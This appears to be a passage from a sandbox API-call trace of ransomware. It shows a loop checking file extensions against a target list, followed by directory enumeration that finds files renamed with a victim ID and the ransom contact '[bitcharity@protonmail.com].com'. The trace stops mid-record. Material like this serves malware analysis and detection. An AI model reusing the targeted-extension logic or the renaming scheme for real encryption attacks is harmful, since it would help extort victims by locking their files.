lstrlenW (lpString=".asmx") returned 5 [0241.671] lstrcmpiW (lpString1=".asmx", lpString2="].com") returned -1 [0241.671] lstrlenW (lpString=".asp") returned 4 [0241.671] lstrcmpiW (lpString1=".asp", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".aspx") returned 5 [0241.671] lstrcmpiW (lpString1=".aspx", lpString2="].com") returned -1 [0241.671] lstrlenW (lpString=".asr") returned 4 [0241.671] lstrcmpiW (lpString1=".asr", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".asx") returned 4 [0241.671] lstrcmpiW (lpString1=".asx", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".avi") returned 4 [0241.671] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".avs") returned 4 [0241.671] lstrcmpiW (lpString1=".avs", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".backup") returned 7 [0241.671] lstrcmpiW (lpString1=".backup", lpString2="om].com") returned -1 [0241.671] lstrlenW (lpString=".bak") returned 4 [0241.671] lstrcmpiW (lpString1=".bak", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".bay") returned 4 [0241.671] lstrcmpiW (lpString1=".bay", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".bd") returned 3 [0241.671] lstrcmpiW (lpString1=".bd", lpString2="com") returned -1 [0241.671] lstrlenW (lpString=".bin") returned 4 [0241.671] lstrcmpiW (lpString1=".bin", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".bmp") returned 4 [0241.671] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0241.671] lstrlenW (lpString=".bz2") returned 4 [0241.672] lstrcmpiW (lpString1=".bz2", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".c") returned 2 [0241.672] lstrcmpiW (lpString1=".c", lpString2="om") returned -1 [0241.672] lstrlenW (lpString=".cdr") returned 4 [0241.672] lstrcmpiW (lpString1=".cdr", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".cer") returned 4 [0241.672] lstrcmpiW (lpString1=".cer", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".cf") returned 3 [0241.672] lstrcmpiW (lpString1=".cf", lpString2="com") returned -1 [0241.672] lstrlenW (lpString=".cfc") returned 4 [0241.672] lstrcmpiW (lpString1=".cfc", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".cfm") returned 4 [0241.672] lstrcmpiW (lpString1=".cfm", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".cfml") returned 5 [0241.672] lstrcmpiW (lpString1=".cfml", lpString2="].com") returned -1 [0241.672] lstrlenW (lpString=".cfu") returned 4 [0241.672] lstrcmpiW (lpString1=".cfu", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".chm") returned 4 [0241.672] lstrcmpiW (lpString1=".chm", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".cin") returned 4 [0241.672] lstrcmpiW (lpString1=".cin", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".class") returned 6 [0241.672] lstrcmpiW (lpString1=".class", lpString2="m].com") returned -1 [0241.672] lstrlenW (lpString=".clx") returned 4 [0241.672] lstrcmpiW (lpString1=".clx", lpString2=".com") returned -1 [0241.672] lstrlenW (lpString=".config") returned 7 [0241.672] lstrcmpiW (lpString1=".config", lpString2="om].com") returned -1 [0241.672] lstrlenW (lpString=".cpp") returned 4 [0241.673] lstrcmpiW (lpString1=".cpp", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".cr2") returned 4 [0241.673] lstrcmpiW (lpString1=".cr2", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".crt") returned 4 [0241.673] lstrcmpiW (lpString1=".crt", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".crw") returned 4 [0241.673] lstrcmpiW (lpString1=".crw", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".cs") returned 3 [0241.673] lstrcmpiW (lpString1=".cs", lpString2="com") returned -1 [0241.673] lstrlenW (lpString=".css") returned 4 [0241.673] lstrcmpiW (lpString1=".css", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".csv") returned 4 [0241.673] lstrcmpiW (lpString1=".csv", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".cub") returned 4 [0241.673] lstrcmpiW (lpString1=".cub", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".dae") returned 4 [0241.673] lstrcmpiW (lpString1=".dae", lpString2=".com") returned 1 [0241.673] lstrlenW (lpString=".dat") returned 4 [0241.673] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".db") returned 3 [0241.674] lstrcmpiW (lpString1=".db", lpString2="com") returned -1 [0241.674] lstrlenW (lpString=".dbf") returned 4 [0241.674] lstrcmpiW (lpString1=".dbf", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".dbx") returned 4 [0241.674] lstrcmpiW (lpString1=".dbx", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".dc3") returned 4 [0241.674] lstrcmpiW (lpString1=".dc3", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".dcm") returned 4 [0241.674] lstrcmpiW (lpString1=".dcm", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".dcr") returned 4 [0241.674] lstrcmpiW (lpString1=".dcr", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".der") returned 4 [0241.674] lstrcmpiW (lpString1=".der", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".dib") returned 4 [0241.674] lstrcmpiW (lpString1=".dib", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".dic") returned 4 [0241.674] lstrcmpiW (lpString1=".dic", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".dif") returned 4 [0241.674] lstrcmpiW (lpString1=".dif", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".divx") returned 5 [0241.674] lstrcmpiW (lpString1=".divx", lpString2="].com") returned -1 [0241.674] lstrlenW (lpString=".djvu") returned 5 [0241.674] lstrcmpiW (lpString1=".djvu", lpString2="].com") returned -1 [0241.674] lstrlenW (lpString=".dng") returned 4 [0241.674] lstrcmpiW (lpString1=".dng", lpString2=".com") returned 1 [0241.674] lstrlenW (lpString=".doc") returned 4 [0241.675] lstrcmpiW (lpString1=".doc", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".docm") returned 5 [0241.675] lstrcmpiW (lpString1=".docm", lpString2="].com") returned -1 [0241.675] lstrlenW (lpString=".docx") returned 5 [0241.675] lstrcmpiW (lpString1=".docx", lpString2="].com") returned -1 [0241.675] lstrlenW (lpString=".dot") returned 4 [0241.675] lstrcmpiW (lpString1=".dot", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".dotm") returned 5 [0241.675] lstrcmpiW (lpString1=".dotm", lpString2="].com") returned -1 [0241.675] lstrlenW (lpString=".dotx") returned 5 [0241.675] lstrcmpiW (lpString1=".dotx", lpString2="].com") returned -1 [0241.675] lstrlenW (lpString=".dpx") returned 4 [0241.675] lstrcmpiW (lpString1=".dpx", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".dqy") returned 4 [0241.675] lstrcmpiW (lpString1=".dqy", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".dsn") returned 4 [0241.675] lstrcmpiW (lpString1=".dsn", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".dt") returned 3 [0241.675] lstrcmpiW (lpString1=".dt", lpString2="com") returned -1 [0241.675] lstrlenW (lpString=".dtd") returned 4 [0241.675] lstrcmpiW (lpString1=".dtd", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".dwg") returned 4 [0241.675] lstrcmpiW (lpString1=".dwg", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".dwt") returned 4 [0241.675] lstrcmpiW (lpString1=".dwt", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".dx") returned 3 [0241.675] lstrcmpiW (lpString1=".dx", lpString2="com") returned -1 [0241.675] lstrlenW (lpString=".dxf") returned 4 [0241.675] lstrcmpiW (lpString1=".dxf", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".edml") returned 5 [0241.675] lstrcmpiW (lpString1=".edml", lpString2="].com") returned -1 [0241.675] lstrlenW (lpString=".efd") returned 4 [0241.675] lstrcmpiW (lpString1=".efd", lpString2=".com") returned 1 [0241.675] lstrlenW (lpString=".elf") returned 4 [0241.675] lstrcmpiW (lpString1=".elf", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".emf") returned 4 [0241.676] lstrcmpiW (lpString1=".emf", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".emz") returned 4 [0241.676] lstrcmpiW (lpString1=".emz", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".epf") returned 4 [0241.676] lstrcmpiW (lpString1=".epf", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".eps") returned 4 [0241.676] lstrcmpiW (lpString1=".eps", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".epsf") returned 5 [0241.676] lstrcmpiW (lpString1=".epsf", lpString2="].com") returned -1 [0241.676] lstrlenW (lpString=".epsp") returned 5 [0241.676] lstrcmpiW (lpString1=".epsp", lpString2="].com") returned -1 [0241.676] lstrlenW (lpString=".erf") returned 4 [0241.676] lstrcmpiW (lpString1=".erf", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".exr") returned 4 [0241.676] lstrcmpiW (lpString1=".exr", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".f4v") returned 4 [0241.676] lstrcmpiW (lpString1=".f4v", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".fido") returned 5 [0241.676] lstrcmpiW (lpString1=".fido", lpString2="].com") returned -1 [0241.676] lstrlenW (lpString=".flm") returned 4 [0241.676] lstrcmpiW (lpString1=".flm", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".flv") returned 4 [0241.676] lstrcmpiW (lpString1=".flv", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".frm") returned 4 [0241.676] lstrcmpiW (lpString1=".frm", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".fxg") returned 4 [0241.676] lstrcmpiW (lpString1=".fxg", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".geo") returned 4 [0241.676] lstrcmpiW (lpString1=".geo", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".gif") returned 4 [0241.676] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0241.676] lstrlenW (lpString=".grs") returned 4 [0241.677] lstrcmpiW (lpString1=".grs", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".gz") returned 3 [0241.677] lstrcmpiW (lpString1=".gz", lpString2="com") returned -1 [0241.677] lstrlenW (lpString=".h") returned 2 [0241.677] lstrcmpiW (lpString1=".h", lpString2="om") returned -1 [0241.677] lstrlenW (lpString=".hdr") returned 4 [0241.677] lstrcmpiW (lpString1=".hdr", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".hpp") returned 4 [0241.677] lstrcmpiW (lpString1=".hpp", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".hta") returned 4 [0241.677] lstrcmpiW (lpString1=".hta", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".htc") returned 4 [0241.677] lstrcmpiW (lpString1=".htc", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".htm") returned 4 [0241.677] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".html") returned 5 [0241.677] lstrcmpiW (lpString1=".html", lpString2="].com") returned -1 [0241.677] lstrlenW (lpString=".icb") returned 4 [0241.677] lstrcmpiW (lpString1=".icb", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".ics") returned 4 [0241.677] lstrcmpiW (lpString1=".ics", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".iff") returned 4 [0241.677] lstrcmpiW (lpString1=".iff", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".inc") returned 4 [0241.677] lstrcmpiW (lpString1=".inc", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".indd") returned 5 [0241.677] lstrcmpiW (lpString1=".indd", lpString2="].com") returned -1 [0241.677] lstrlenW (lpString=".ini") returned 4 [0241.677] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0241.677] lstrlenW (lpString=".iqy") returned 4 [0241.678] lstrcmpiW (lpString1=".iqy", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".j2c") returned 4 [0241.678] lstrcmpiW (lpString1=".j2c", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".j2k") returned 4 [0241.678] lstrcmpiW (lpString1=".j2k", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".java") returned 5 [0241.678] lstrcmpiW (lpString1=".java", lpString2="].com") returned -1 [0241.678] lstrlenW (lpString=".jp2") returned 4 [0241.678] lstrcmpiW (lpString1=".jp2", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".jpc") returned 4 [0241.678] lstrcmpiW (lpString1=".jpc", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".jpe") returned 4 [0241.678] lstrcmpiW (lpString1=".jpe", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".jpeg") returned 5 [0241.678] lstrcmpiW (lpString1=".jpeg", lpString2="].com") returned -1 [0241.678] lstrlenW (lpString=".jpf") returned 4 [0241.678] lstrcmpiW (lpString1=".jpf", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".jpg") returned 4 [0241.678] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".jpx") returned 4 [0241.678] lstrcmpiW (lpString1=".jpx", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".js") returned 3 [0241.678] lstrcmpiW (lpString1=".js", lpString2="com") returned -1 [0241.678] lstrlenW (lpString=".jsf") returned 4 [0241.678] lstrcmpiW (lpString1=".jsf", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".json") returned 5 [0241.678] lstrcmpiW (lpString1=".json", lpString2="].com") returned -1 [0241.678] lstrlenW (lpString=".jsp") returned 4 [0241.678] lstrcmpiW (lpString1=".jsp", lpString2=".com") returned 1 [0241.678] lstrlenW (lpString=".kdc") returned 4 [0241.679] lstrcmpiW (lpString1=".kdc", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".kmz") returned 4 [0241.679] lstrcmpiW (lpString1=".kmz", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".kwm") returned 4 [0241.679] lstrcmpiW (lpString1=".kwm", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".lasso") returned 6 [0241.679] lstrcmpiW (lpString1=".lasso", lpString2="m].com") returned -1 [0241.679] lstrlenW (lpString=".lbi") returned 4 [0241.679] lstrcmpiW (lpString1=".lbi", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".lgf") returned 4 [0241.679] lstrcmpiW (lpString1=".lgf", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".lgp") returned 4 [0241.679] lstrcmpiW (lpString1=".lgp", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".log") returned 4 [0241.679] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".m1v") returned 4 [0241.679] lstrcmpiW (lpString1=".m1v", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".m4a") returned 4 [0241.679] lstrcmpiW (lpString1=".m4a", lpString2=".com") returned 1 [0241.679] lstrlenW (lpString=".m4v") returned 4 [0241.679] lstrcmpiW (lpString1=".m4v", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".max") returned 4 [0241.680] lstrcmpiW (lpString1=".max", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".md") returned 3 [0241.680] lstrcmpiW (lpString1=".md", lpString2="com") returned -1 [0241.680] lstrlenW (lpString=".mda") returned 4 [0241.680] lstrcmpiW (lpString1=".mda", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mdb") returned 4 [0241.680] lstrcmpiW (lpString1=".mdb", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mde") returned 4 [0241.680] lstrcmpiW (lpString1=".mde", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mdf") returned 4 [0241.680] lstrcmpiW (lpString1=".mdf", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mdw") returned 4 [0241.680] lstrcmpiW (lpString1=".mdw", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mef") returned 4 [0241.680] lstrcmpiW (lpString1=".mef", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mft") returned 4 [0241.680] lstrcmpiW (lpString1=".mft", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mfw") returned 4 [0241.680] lstrcmpiW (lpString1=".mfw", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mht") returned 4 [0241.680] lstrcmpiW (lpString1=".mht", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mhtml") returned 6 [0241.680] lstrcmpiW (lpString1=".mhtml", lpString2="m].com") returned -1 [0241.680] lstrlenW (lpString=".mka") returned 4 [0241.680] lstrcmpiW (lpString1=".mka", lpString2=".com") returned 1 [0241.680] lstrlenW (lpString=".mkidx") returned 6 [0241.680] lstrcmpiW (lpString1=".mkidx", lpString2="m].com") returned -1 [0241.681] lstrlenW (lpString=".mkv") returned 4 [0241.681] lstrcmpiW (lpString1=".mkv", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mos") returned 4 [0241.681] lstrcmpiW (lpString1=".mos", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mov") returned 4 [0241.681] lstrcmpiW (lpString1=".mov", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mp3") returned 4 [0241.681] lstrcmpiW (lpString1=".mp3", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mp4") returned 4 [0241.681] lstrcmpiW (lpString1=".mp4", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mpeg") returned 5 [0241.681] lstrcmpiW (lpString1=".mpeg", lpString2="].com") returned -1 [0241.681] lstrlenW (lpString=".mpg") returned 4 [0241.681] lstrcmpiW (lpString1=".mpg", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mpv") returned 4 [0241.681] lstrcmpiW (lpString1=".mpv", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mrw") returned 4 [0241.681] lstrcmpiW (lpString1=".mrw", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".msg") returned 4 [0241.681] lstrcmpiW (lpString1=".msg", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".mxl") returned 4 [0241.681] lstrcmpiW (lpString1=".mxl", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".myd") returned 4 [0241.681] lstrcmpiW (lpString1=".myd", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".myi") returned 4 [0241.681] lstrcmpiW (lpString1=".myi", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".nef") returned 4 [0241.681] lstrcmpiW (lpString1=".nef", lpString2=".com") returned 1 [0241.681] lstrlenW (lpString=".nrw") returned 4 [0241.681] lstrcmpiW (lpString1=".nrw", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".obj") returned 4 [0241.682] lstrcmpiW (lpString1=".obj", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".odb") returned 4 [0241.682] lstrcmpiW (lpString1=".odb", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".odc") returned 4 [0241.682] lstrcmpiW (lpString1=".odc", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".odm") returned 4 [0241.682] lstrcmpiW (lpString1=".odm", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".odp") returned 4 [0241.682] lstrcmpiW (lpString1=".odp", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".ods") returned 4 [0241.682] lstrcmpiW (lpString1=".ods", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".oft") returned 4 [0241.682] lstrcmpiW (lpString1=".oft", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".one") returned 4 [0241.682] lstrcmpiW (lpString1=".one", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".onepkg") returned 7 [0241.682] lstrcmpiW (lpString1=".onepkg", lpString2="om].com") returned -1 [0241.682] lstrlenW (lpString=".onetoc2") returned 8 [0241.682] lstrcmpiW (lpString1=".onetoc2", lpString2="com].com") returned -1 [0241.682] lstrlenW (lpString=".opt") returned 4 [0241.682] lstrcmpiW (lpString1=".opt", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".oqy") returned 4 [0241.682] lstrcmpiW (lpString1=".oqy", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".orf") returned 4 [0241.682] lstrcmpiW (lpString1=".orf", lpString2=".com") returned 1 [0241.682] lstrlenW (lpString=".p12") returned 4 [0241.682] lstrcmpiW (lpString1=".p12", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".p7b") returned 4 [0241.683] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".p7c") returned 4 [0241.683] lstrcmpiW (lpString1=".p7c", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pam") returned 4 [0241.683] lstrcmpiW (lpString1=".pam", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pbm") returned 4 [0241.683] lstrcmpiW (lpString1=".pbm", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pct") returned 4 [0241.683] lstrcmpiW (lpString1=".pct", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pcx") returned 4 [0241.683] lstrcmpiW (lpString1=".pcx", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pdd") returned 4 [0241.683] lstrcmpiW (lpString1=".pdd", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pdf") returned 4 [0241.683] lstrcmpiW (lpString1=".pdf", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pdp") returned 4 [0241.683] lstrcmpiW (lpString1=".pdp", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pef") returned 4 [0241.683] lstrcmpiW (lpString1=".pef", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pem") returned 4 [0241.683] lstrcmpiW (lpString1=".pem", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pff") returned 4 [0241.683] lstrcmpiW (lpString1=".pff", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pfm") returned 4 [0241.683] lstrcmpiW (lpString1=".pfm", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pfx") returned 4 [0241.683] lstrcmpiW (lpString1=".pfx", lpString2=".com") returned 1 [0241.683] lstrlenW (lpString=".pgm") returned 4 [0241.683] lstrcmpiW (lpString1=".pgm", lpString2=".com") returned 1 [0241.684] lstrlenW (lpString=".php") returned 4 [0241.684] lstrcmpiW (lpString1=".php", lpString2=".com") returned 1 [0241.684] lstrlenW (lpString=".php3") returned 5 [0241.684] lstrcmpiW (lpString1=".php3", lpString2="].com") returned -1 [0241.684] lstrlenW (lpString=".php4") returned 5 [0241.684] lstrcmpiW (lpString1=".php4", lpString2="].com") returned -1 [0241.684] lstrlenW (lpString=".php5") returned 5 [0241.684] lstrcmpiW (lpString1=".php5", lpString2="].com") returned -1 [0241.684] lstrlenW (lpString=".phtml") returned 6 [0241.684] lstrcmpiW (lpString1=".phtml", lpString2="m].com") returned -1 [0241.684] lstrlenW (lpString=".pict") returned 5 [0241.684] lstrcmpiW (lpString1=".pict", lpString2="].com") returned -1 [0241.684] lstrlenW (lpString=".pl") returned 3 [0241.684] lstrcmpiW (lpString1=".pl", lpString2="com") returned -1 [0241.684] lstrlenW (lpString=".pls") returned 4 [0241.684] lstrcmpiW (lpString1=".pls", lpString2=".com") returned 1 [0241.684] lstrlenW (lpString=".pm") returned 3 [0241.684] lstrcmpiW (lpString1=".pm", lpString2="com") returned -1 [0241.684] lstrlenW (lpString=".png") returned 4 [0241.684] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0241.684] lstrlenW (lpString=".pnm") returned 4 [0241.684] lstrcmpiW (lpString1=".pnm", lpString2=".com") returned 1 [0241.684] lstrlenW (lpString=".pot") returned 4 [0241.684] lstrcmpiW (lpString1=".pot", lpString2=".com") returned 1 [0241.684] lstrlenW (lpString=".potm") returned 5 [0241.684] lstrcmpiW (lpString1=".potm", lpString2="].com") returned -1 [0241.684] lstrlenW (lpString=".potx") returned 5 [0241.684] lstrcmpiW (lpString1=".potx", lpString2="].com") returned -1 [0241.684] lstrlenW (lpString=".ppa") returned 4 [0241.684] lstrcmpiW (lpString1=".ppa", lpString2=".com") returned 1 [0241.684] lstrlenW (lpString=".ppam") returned 5 [0241.685] lstrcmpiW (lpString1=".ppam", lpString2="].com") returned -1 [0241.685] lstrlenW (lpString=".ppm") returned 4 [0241.685] lstrcmpiW (lpString1=".ppm", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".pps") returned 4 [0241.685] lstrcmpiW (lpString1=".pps", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".ppsm") returned 5 [0241.685] lstrcmpiW (lpString1=".ppsm", lpString2="].com") returned -1 [0241.685] lstrlenW (lpString=".ppt") returned 4 [0241.685] lstrcmpiW (lpString1=".ppt", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".pptm") returned 5 [0241.685] lstrcmpiW (lpString1=".pptm", lpString2="].com") returned -1 [0241.685] lstrlenW (lpString=".pptx") returned 5 [0241.685] lstrcmpiW (lpString1=".pptx", lpString2="].com") returned -1 [0241.685] lstrlenW (lpString=".prn") returned 4 [0241.685] lstrcmpiW (lpString1=".prn", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".ps") returned 3 [0241.685] lstrcmpiW (lpString1=".ps", lpString2="com") returned -1 [0241.685] lstrlenW (lpString=".psb") returned 4 [0241.685] lstrcmpiW (lpString1=".psb", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".psd") returned 4 [0241.685] lstrcmpiW (lpString1=".psd", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".pst") returned 4 [0241.685] lstrcmpiW (lpString1=".pst", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".ptx") returned 4 [0241.685] lstrcmpiW (lpString1=".ptx", lpString2=".com") returned 1 [0241.685] lstrlenW (lpString=".pub") returned 4 [0241.685] lstrcmpiW (lpString1=".pub", lpString2=".com") returned 1 [0241.686] lstrlenW (lpString=".pwm") returned 4 [0241.686] lstrcmpiW (lpString1=".pwm", lpString2=".com") returned 1 [0241.686] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031f979, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3031f979, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3038d36e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="OOBE_2~1.COM")) returned 1 [0241.686] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302f4b43, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x302f4b43, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x302f4b43, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARTNE~1.COM")) returned 1 [0241.686] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302f4b43, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x302f4b43, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x302f4b43, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARTNE~1.COM")) returned 0 [0241.686] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0241.686] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0241.686] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, 